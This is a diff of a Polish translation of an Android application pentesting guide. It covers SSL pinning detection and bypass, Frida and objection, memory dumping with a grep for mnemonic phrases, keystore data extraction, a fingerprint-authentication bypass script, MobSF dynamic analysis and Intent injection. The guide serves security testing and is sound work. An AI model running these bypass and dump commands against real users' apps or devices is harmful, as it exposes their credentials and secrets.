certyfikatu**. Należy weryfikować integralność certyfikatu serwera, aby zwiększyć bezpieczeństwo. To kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezaszyfrowane kanały niosą znaczące ryzyko. Dla szczegółowych kroków dotyczących weryfikacji certyfikatów serwera i łatania podatności, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) zawiera obszerne wskazówki. #### SSL Pinning -SSL Pinning to mechanizm bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera względem znanej kopii przechowywanej w samej aplikacji. Ta metoda jest istotna w zapobieganiu atakom MITM. Implementacja SSL Pinning jest zdecydowanie zalecana dla aplikacji przetwarzających wrażliwe informacje. +SSL Pinning to mechanizm bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera względem znanej kopii przechowywanej wewnątrz aplikacji. Metoda ta jest istotna w zapobieganiu atakom MITM. Zdecydowanie zaleca się wdrożenie SSL Pinning w aplikacjach przetwarzających wrażliwe informacje. #### Inspekcja ruchu -Aby analizować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez instalacji tego certyfikatu zaszyfrowany ruch może być niewidoczny przez proxy. For a guide on installing a custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Aby inspekcjonować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może być niewidoczny przez proxy. Po instrukcję instalacji własnego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplikacje targetujące **API Level 24 and above** wymagają modyfikacji Network Security Config, aby zaakceptować certyfikat CA proxy. Ten krok jest krytyczny do inspekcji zaszyfrowanego ruchu. For instructions on modifying the Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji Network Security Config, aby zaakceptować certyfikat CA proxy. Ten krok jest krytyczny dla inspekcji zaszyfrowanego ruchu. Instrukcje dotyczące modyfikacji Network Security Config znajdziesz w [**this tutorial**](make-apk-accept-ca-certificate.md). -If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is because samo dodanie certyfikatu do store nie wystarczy, ponieważ Flutter ma własną listę zaufanych CAs. +Jeśli używane jest **Flutter**, musisz postępować zgodnie z instrukcjami na [**tej stronie**](flutter.md). Dzieje się tak dlatego, że samo dodanie certyfikatu do magazynu nie zadziała — Flutter ma własną listę zaufanych CA. #### Statyczne wykrywanie SSL/TLS pinning -Przed próbami obejścia w czasie runtime szybko zmapuj miejsca, gdzie pinning jest wymuszany w APK. Odkrywanie statyczne pomaga zaplanować hooki/patchy i skupić się na właściwych ścieżkach kodu. +Zanim spróbujesz obejść mechanizmy w czasie wykonywania, szybko zmapuj miejsca, w których pinning jest egzekwowany w APK. Wykrywanie statyczne pomaga zaplanować hooki/łatki i skupić się na właściwych ścieżkach kodu. -Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +Narzędzie: SSLPinDetect +- Open-sourceowe narzędzie do analizy statycznej, które dekompiluje APK do Smali (przez apktool) i skanuje pod kątem wyselekcjonowanych wzorców regex implementacji SSL/TLS pinning. +- Raportuje dokładną ścieżkę pliku, numer linii i fragment kodu dla każdego dopasowania. +- Obejmuje popularne frameworki i niestandardowe ścieżki kodu: OkHttp CertificatePinner, niestandardowy javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init z niestandardowymi TrustManagers/KeyManagers oraz piny w Network Security Config XML. -Install -- Prereqs: Python >= 3.8, Java on PATH, apktool +Instalacja +- Wymagania wstępne: Python >= 3.8, Java w PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -457,7 +456,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` Przykładowe reguły wzorców (JSON) -Użyj lub rozszerz signatures, aby wykrywać proprietarne/niestandardowe style pinning. Możesz załadować własne JSON i skanować na dużą skalę. +Użyj lub rozszerz sygnatury, aby wykrywać zastrzeżone/własne style pinning. Możesz załadować własny plik JSON i skanować na dużą skalę. ```json { "OkHttp Certificate Pinning": [ @@ -472,42 +471,42 @@ Użyj lub rozszerz signatures, aby wykrywać proprietarne/niestandardowe style p } ``` Notes and tips -- Szybkie skanowanie dużych aplikacji poprzez wielowątkowość i I/O mapowane w pamięci; prekompilowane wyrażenia regularne zmniejszają narzut/fałszywe pozytywy. +- Szybkie skanowanie dużych aplikacji przy użyciu wielowątkowości i memory-mapped I/O; prekompilowane regexy zmniejszają narzut/fałszywe pozytywy. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Typowe cele detekcji do dalszej analizy: -- OkHttp: użycie CertificatePinner, setCertificatePinner, odniesienia do pakietu okhttp3/okhttp -- Niestandardowe TrustManagers: javax.net.ssl.X509TrustManager, nadpisania checkServerTrusted +- Typowe cele do dalszej analizy: +- OkHttp: użycie CertificatePinner, setCertificatePinner, odwołania do pakietu okhttp3/okhttp +- Własne TrustManagery: javax.net.ssl.X509TrustManager, nadpisania checkServerTrusted - Niestandardowe konteksty SSL: SSLContext.getInstance + SSLContext.init z niestandardowymi managerami -- Deklaratywne pins w res/xml network security config i odniesienia w manifeście -- Wykorzystaj znalezione lokalizacje do zaplanowania hooków Frida, statycznych patchy lub przeglądu konfiguracji przed testami dynamicznymi. +- Deklaratywne piny w res/xml network security config oraz odwołania w manifest +- Użyj znalezionych lokalizacji do zaplanowania Frida hooks, statycznych patchy lub przeglądu konfiguracji przed testami dynamicznymi. #### Bypassing SSL Pinning -Gdy implementowane jest SSL Pinning, jego obejście staje się konieczne do inspekcji ruchu HTTPS. Do tego celu dostępne są różne metody: +Gdy SSL Pinning jest zaimplementowany, konieczne staje się jego ominięcie, aby przeanalizować ruch HTTPS. Istnieje kilka metod do tego celu: -- Automatycznie **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować root, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową wersję, i nie zawsze to zadziała. -- Możesz użyć **Frida** (omówione poniżej) aby obejść tę ochronę. Tutaj jest przewodnik jak użyć Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Możesz także spróbować **automatycznie bypass SSL Pinning** używając [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Możesz także spróbować **automatycznie bypass SSL Pinning** używając **MobSF dynamic analysis** (wyjaśnione poniżej) -- Jeśli nadal uważasz, że jakiś ruch nie jest przechwytywany, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową — i nie zawsze to zadziała. +- Możesz użyć **Frida** (opisane poniżej) do obejścia tej ochrony. Oto przewodnik dotyczący użycia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Możesz też spróbować **automatycznie ominąć SSL Pinning** używając [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Możesz także spróbować **automatycznie ominąć SSL Pinning** używając **MobSF dynamic analysis** (opisane poniżej) +- Jeśli nadal uważasz, że nie przechwytujesz części ruchu, możesz spróbować **przekierować ruch do Burp przy użyciu iptables**. Przeczytaj ten wpis: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Looking for Common Web Vulnerabilities -Ważne jest również wyszukiwanie typowych podatności webowych w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych materiałach. +Ważne jest również poszukiwanie typowych podatności webowych w aplikacji. Szczegółowe informacje o identyfikacji i łagodzeniu tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych materiałach. ### Frida -[Frida](https://www.frida.re) jest dynamicznym toolkitem do instrumentacji dla deweloperów, reverse-engineerów i badaczy bezpieczeństwa.\ -**Możesz uzyskać dostęp do działającej aplikacji i hookować metody w czasie wykonywania, aby zmieniać zachowanie, zmieniać wartości, wydobywać wartości, uruchamiać inny kod...**\ -Jeśli chcesz pentest aplikacje Android musisz znać Frida. +[Frida](https://www.frida.re) to dynamiczny zestaw narzędzi do instrumentacji dla deweloperów, reverse-engineerów i badaczy bezpieczeństwa.\ +**Możesz uzyskać dostęp do uruchomionej aplikacji i hookować metody w czasie wykonywania, aby zmieniać zachowanie, wartości, wydobywać wartości, uruchamiać inny kod...**\ +Jeśli chcesz pentestować aplikacje Android, musisz umieć używać Frida. -- Naucz się używać Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Kilka "GUI" do działań z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection świetnie automatyzuje użycie Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Możesz znaleźć świetne skrypty Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Spróbuj obejść mechanizmy anti-debugging / anti-frida ładując Frida zgodnie z wskazówkami w [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (narzędzie [linjector](https://github.com/erfur/linjector-rs)) +- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Spróbuj obejść mechanizmy anti-debugging / anti-frida, ładując Frida jak wskazano w [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (narzędzie [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -517,9 +516,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **Dump Memory - Fridump** -Sprawdź, czy aplikacja nie przechowuje w pamięci poufnych informacji, których nie powinna przechowywać, takich jak hasła czy mnemoniki. +Sprawdź, czy aplikacja przechowuje w pamięci wrażliwe informacje, których nie powinna przechowywać, takie jak hasła czy mnemoniki. -Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: +Używając [**Fridump3**](https://github.com/rootbsd/fridump3) możesz zrzucić pamięć aplikacji poleceniem: ```bash # With PID python3 fridump3.py -u @@ -528,35 +527,37 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Spowoduje to zrzut pamięci do folderu ./dump, a następnie możesz tam użyć grep, np.: +To zrzuci pamięć do folderu ./dump, a tam możesz użyć grep, na przykład: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` -### **Wrażliwe dane w Keystore** +### **Poufne dane w Keystore** -W Androidzie Keystore jest najlepszym miejscem do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach wciąż **możliwe jest uzyskanie do niego dostępu**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci jawnej**, pentests powinny to sprawdzić jako root user, ponieważ osoba z fizycznym dostępem do urządzenia mogłaby ukraść te dane. +W Androidzie Keystore jest najlepszym miejscem do przechowywania poufnych danych, jednak przy odpowiednich uprawnieniach wciąż **możliwe jest uzyskanie do niego dostępu**. -Nawet jeśli aplikacja zapisuje dane w Keystore, dane powinny być zaszyfrowane. +Ponieważ aplikacje mają tendencję do przechowywania tutaj **poufnych danych w clear text**, pentests powinny to zweryfikować, gdyż root user lub ktoś z fizycznym dostępem do urządzenia mógłby te dane ukraść. -Aby uzyskać dostęp do danych w Keystore, możesz użyć tego skryptu Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Nawet jeśli aplikacja przechowała dane w keystore, dane powinny być zaszyfrowane. + +Aby uzyskać dostęp do danych wewnątrz keystore możesz użyć tego Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Używając poniższego skryptu Frida, możliwe może być **bypass fingerprint authentication**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:** +Użycie poniższego Frida scriptu może umożliwić **bypass fingerprint authentication** stosowany przez aplikacje Android w celu **ochrony pewnych wrażliwych obszarów:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Obrazy w tle** -Kiedy umieścisz aplikację w tle, Android zapisuje **zrzut aplikacji**, dzięki czemu po przywróceniu jej na pierwszy plan najpierw ładuje ten obraz, co sprawia, że aplikacja wydaje się uruchamiać szybciej. +Gdy przeniesiesz aplikację do tła, Android zapisuje **snapshot aplikacji**, dzięki czemu po przywróceniu do pierwszego planu zaczyna najpierw ładować obraz, aby wydawało się, że aplikacja uruchomiła się szybciej. -Jednak jeśli ten zrzut zawiera **poufne informacje**, ktoś mający dostęp do zrzutu może **ukraść te dane** (uwaga: dostęp wymaga root). +Jednak jeśli ten snapshot zawiera **poufne informacje**, ktoś mający dostęp do snapshotu może **ukraść te informacje** (uwaga: wymagany jest root, aby uzyskać do niego dostęp). -Zrzuty są zwykle przechowywane w: **`/data/system_ce/0/snapshots`** +Snapshoty są zwykle przechowywane pod ścieżką: **`/data/system_ce/0/snapshots`** -Android udostępnia sposób, by **zapobiec wykonywaniu zrzutów ekranu przez ustawienie parametru layout FLAG_SECURE**. Dzięki użyciu tej flagi zawartość okna jest traktowana jako zabezpieczona, co uniemożliwia jej pojawianie się na zrzutach ekranu lub wyświetlanie na niezabezpieczonych ekranach. +Android oferuje sposób na **zapobieganie przechwytywaniu zrzutów ekranu przez ustawienie parametru layout FLAG_SECURE**. Użycie tej flagi powoduje, że zawartość okna jest traktowana jako bezpieczna, uniemożliwiając pojawienie się na zrzutach ekranu lub wyświetlanie na niezabezpieczonych ekranach. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -566,82 +567,82 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy ### Intent Injection -Programiści często tworzą komponenty pośredniczące, takie jak activities, services i broadcast receivers, które obsługują te Intents i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne. +Deweloperzy często tworzą komponenty proxy takie jak activities, services i broadcast receivers, które obsługują te Intents i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne. -Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania non-exported komponentów aplikacji lub dostępu do wrażliwych content providers przez błędne skierowanie tych Intents. Dobrym przykładem jest komponent `WebView`, który konwertuje URL-e na obiekty `Intent` za pomocą `Intent.parseUri(...)` i następnie je wykonuje, co może prowadzić do złośliwych Intent injections. +Niebezpieczeństwo polega na pozwoleniu atakującym na wywoływanie nie-exportowanych komponentów aplikacji lub dostęp do wrażliwych content providers poprzez przekierowanie tych Intents. Przykładem jest komponent `WebView` konwertujący URL-e na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonujący, co może prowadzić do złośliwych Intent injections. -### Essential Takeaways +### Kluczowe wnioski - **Intent Injection** jest podobny do webowego problemu Open Redirect. -- Eksploity polegają na przekazywaniu obiektów `Intent` jako extras, które mogą zostać przekierowane do wykonania niebezpiecznych operacji. -- Może ujawnić atakującym non-exported komponenty i content providers. -- Konwersja URL-i na `Intent` przez `WebView` może ułatwiać wykonywanie niezamierzonych akcji. +- Eksploity polegają na przekazywaniu obiektów `Intent` jako extras, które mogą być przekierowane do wykonania niebezpiecznych operacji. +- Może to wystawić atakującym nie-exportowane komponenty i content providers. +- Konwersja URL-i na `Intent` przez `WebView` może ułatwić niezamierzone działania. ### Android Client Side Injections and others -Prawdopodobnie znasz ten typ podatności z Web. Należy zachować szczególną ostrożność wobec tych podatności w aplikacji Android: +Prawdopodobnie znasz tego rodzaju podatności z Weba. W aplikacji Android należy zachować szczególną ostrożność w związku z tymi podatnościami: -- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub Content-Providers upewnij się, że używasz zapytań parametryzowanych. -- **JavaScript Injection (XSS):** Sprawdź, czy obsługa JavaScript i Pluginów jest wyłączona dla wszystkich WebViews (wyłączone domyślnie). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** Dostęp WebViews do systemu plików powinien być wyłączony (włączony domyślnie) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: W wielu przypadkach po zakończeniu sesji przez aplikację Android cookie nie jest unieważniane lub może zostać zapisane na dysku +- **SQL Injection:** Jeśli używasz dynamicznych zapytań lub Content-Providers, upewnij się, że stosujesz zapytania parametryzowane. +- **JavaScript Injection (XSS):** Sprawdź, czy obsługa JavaScript i Pluginów jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** Dostęp WebView do systemu plików powinien być wyłączony (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: W kilku przypadkach po zakończeniu sesji przez aplikację Android cookie nie jest unieważniane lub może być nawet zapisane na dysku - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Automatic Analysis +## Automatyczna analiza ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Static analysis** +**Analiza statyczna** ![](<../../images/image (866).png>) -**Ocena podatności aplikacji** z użyciem przyjaznego webowego frontendu. Możesz także przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko). +**Ocena podatności aplikacji** z użyciem ładnego interfejsu webowego. Możesz również przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Zwróć uwagę, że MobSF potrafi analizować **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Również, jeśli utworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do katalogu głównego aplikacji, zaznacz wszystko i utwórz plik ZIP), będzie on również możliwy do analizy. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF pozwala także na **diff/Compare** analizę oraz integrację z **VirusTotal** (musisz ustawić swój klucz API w _MobSF/settings.py_ i włączyć to: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Możesz także ustawić `VT_UPLOAD` na `False`, wtedy zamiast pliku zostanie przesłany **hash**. -### Assisted Dynamic analysis with MobSF +### Asystowana analiza dynamiczna z MobSF -**MobSF** może być również bardzo pomocny przy **dynamic analysis** w **Android**, ale w tym przypadku musisz zainstalować MobSF i **genymotion** na swoim hoście (VM lub Docker nie zadziała). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -The **MobSF dynamic analyser** może: +**MobSF** może być również bardzo pomocne przy analizie dynamicznej na **Android**, ale w takim przypadku musisz zainstalować **MobSF** i **genymotion** na hoście (VM lub Docker nie zadziałają). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +Analizator dynamiczny MobSF może: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Wszystko to jest wykonywane automatycznie z wyjątkiem screenshotów — musisz nacisnąć gdy chcesz zrobić screenshot lub nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty ekranu wszystkich exported activities. -- Capture **HTTPS traffic** -- Use **Frida** to obtain **runtime** **information** +- **Dump application data** (URL-e, logi, schowek, zrzuty ekranu robione przez Ciebie, zrzuty ekranu robione przez "**Exported Activity Tester**", e-maile, bazy SQLite, pliki XML i inne utworzone pliki). Wszystko to jest wykonywane automatycznie z wyjątkiem zrzutów ekranu — musisz nacisnąć, gdy chcesz zrzut ekranu lub nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty wszystkich eksportowanych aktywności. +- Przechwytywać **HTTPS traffic** +- Wykorzystać **Frida** do uzyskania informacji w czasie wykonania (runtime) -From android **versions > 5**, automatycznie uruchomi **Frida** i ustawi globalne ustawienia **proxy** aby **capture** ruch. Będzie przechwytywać ruch tylko z testowanej aplikacji. +Od wersji Android > 5, automatycznie uruchomi Frida i ustawi globalne ustawienia proxy, aby przechwycić ruch. Będzie przechwytywać tylko ruch z testowanej aplikacji. **Frida** -Domyślnie użyje też kilku Frida Scripts do **bypass SSL pinning**, **root detection** i **debugger detection** oraz do **monitor interesting APIs**.\ -MobSF może także **invoke exported activities**, zrobić **screenshots** tych aktywności i **save** je do raportu. +Domyślnie będzie też używać niektórych **Frida Scripts** do **bypass SSL pinning**, **root detection** i **debugger detection** oraz do monitorowania interesujących API.\ +MobSF może także **invoke exported activities**, pobierać ich **screenshots** i **save** je do raportu. -Aby **start** testy dynamiczne naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez Frida scripts oraz "**Live API Monitor**", aby zobaczyć wszystkie wywołania hooked methods, przekazane argumenty i zwracane wartości (pojawi się to po naciśnięciu "Start Instrumentation").\ -MobSF pozwala też załadować własne Frida scripts (aby wysłać wyniki swoich Frida scripts do MobSF użyj funkcji `send()`). Ma też kilka pre-napisanych skryptów, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), po prostu wybierz je, naciśnij "**Load**" i potem "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**"). +Aby **start** testów dynamicznych naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez Frida scripts i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do zahaczonych metod, przekazane argumenty i zwracane wartości (pojawi się to po naciśnięciu "Start Instrumentation").\ +MobSF pozwala także na załadowanie własnych **Frida scripts** (aby wysłać wyniki swoich Frida scripts do MobSF użyj funkcji `send()`). Ma też kilka predefiniowanych skryptów, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), po prostu wybierz je, naciśnij "**Load**" i "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**"). ![](<../../images/image (419).png>) -Ponadto masz kilka dodatkowych funkcji Frida: +Ponadto masz kilka pomocniczych funkcjonalności Frida: -- **Enumerate Loaded Classes**: Wydrukuje wszystkie załadowane klasy -- **Capture Strings**: Wydrukuje wszystkie uchwycone stringi podczas używania aplikacji (bardzo głośne) -- **Capture String Comparisons**: Może być bardzo użyteczne. Pokaże 2 porównywane stringi oraz czy wynik był True czy False. -- **Enumerate Class Methods**: Wpisz nazwę klasy (np. "java.io.File") i wypisze wszystkie metody tej klasy. -- **Search Class Pattern**: Wyszukuje klasy po wzorcu -- **Trace Class Methods**: **Trace** całej klasy (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących Android Api methods. +- **Enumerate Loaded Classes**: Wypisze wszystkie załadowane klasy +- **Capture Strings**: Wypisze wszystkie przechwycone stringi podczas korzystania z aplikacji (bardzo hałaśliwe) +- **Capture String Comparisons**: Może być bardzo przydatne. Pokaże dwa porównywane stringi oraz czy wynik był True czy False. +- **Enumerate Class Methods**: Wprowadź nazwę klasy (np. "java.io.File"), a wypisze wszystkie metody tej klasy. +- **Search Class Pattern**: Wyszukuje klasy według wzorca +- **Trace Class Methods**: **Trace** całej klasy (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod Android Api. Gdy wybierzesz moduł pomocniczy, którego chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyjścia w "**Frida Live Logs**". **Shell** -Mobsf dostarcza też shell z kilkoma **adb** commands, **MobSF commands**, oraz typowymi **shell** **commands** na dole strony dynamic analysis. Kilka interesujących poleceń: +MobSF dostarcza również shell z kilkoma poleceniami **adb**, **MobSF commands** oraz typowymi poleceniami **shell** na dole strony analizy dynamicznej. Kilka ciekawych poleceń: ```bash help shell ls @@ -652,22 +653,22 @@ receivers ``` **Narzędzia HTTP** -Gdy ruch HTTP jest przechwycony, możesz zobaczyć surowy widok przechwyconego ruchu w przycisku "**HTTP(S) Traffic**" na dole lub ładniejszy widok w zielonym przycisku "**Start HTTPTools**". Z tej drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxies** takich jak Burp lub Owasp ZAP.\ -Aby to zrobić, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> naciśnij "**Send to Fuzzer**" --> _wybierz adres proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Gdy ruch HTTP zostanie przechwycony, możesz zobaczyć toporny widok przechwyconego ruchu na przycisku "**HTTP(S) Traffic**" u dołu albo ładniejszy widok po naciśnięciu zielonego przycisku "**Start HTTPTools**". Z drugiej opcji możesz **wysyłać** **przechwycone żądania** do **proxies** takich jak Burp lub Owasp ZAP.\ +Aby to zrobić, _włącz Burp -->_ _wyłącz Intercept --> w MobSB HTTPTools wybierz żądanie_ --> naciśnij "**Send to Fuzzer**" --> _wybierz adres proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Po zakończeniu dynamic analysis z MobSF możesz nacisnąć "**Start Web API Fuzzer**", aby **fuzz http requests** i poszukać podatności. +Po zakończeniu dynamicznej analizy z MobSF możesz nacisnąć "**Start Web API Fuzzer**", aby **fuzzować http requests** i szukać podatności. > [!TIP] -> Po przeprowadzeniu dynamic analysis z MobSF ustawienia proxy mogą być nieprawidłowe i nie będziesz w stanie ich naprawić z poziomu GUI. Możesz naprawić ustawienia proxy, wykonując: +> Po wykonaniu dynamicznej analizy z MobSF ustawienia proxy mogą zostać źle skonfigurowane i nie będzie można ich naprawić z poziomu GUI. Możesz naprawić ustawienia proxy wykonując: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Assisted Dynamic Analysis with Inspeckage +### Wspomagana analiza dynamiczna z Inspeckage -You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Narzędzie to wykorzystuje **Hooks**, aby poinformować Cię **co dzieje się w aplikacji** podczas wykonywania **dynamic analysis**. +Narzędzie można pobrać z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ +To narzędzie używa pewnych **Hooks**, aby informować, **co dzieje się w aplikacji**, podczas gdy wykonujesz **dynamic analysis**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -677,7 +678,7 @@ To **świetne narzędzie do przeprowadzania static analysis z GUI** ### [Qark](https://github.com/linkedin/qark) -Narzędzie to zostało zaprojektowane do wyszukiwania różnych **security related Android application vulnerabilities**, zarówno w **source code**, jak i w **packaged APKs**. Narzędzie jest również **capable of creating a "Proof-of-Concept" deployable APK** oraz generować **ADB commands**, aby wykorzystać niektóre z znalezionych podatności (Exposed activities, intents, tapjacking...). Podobnie jak 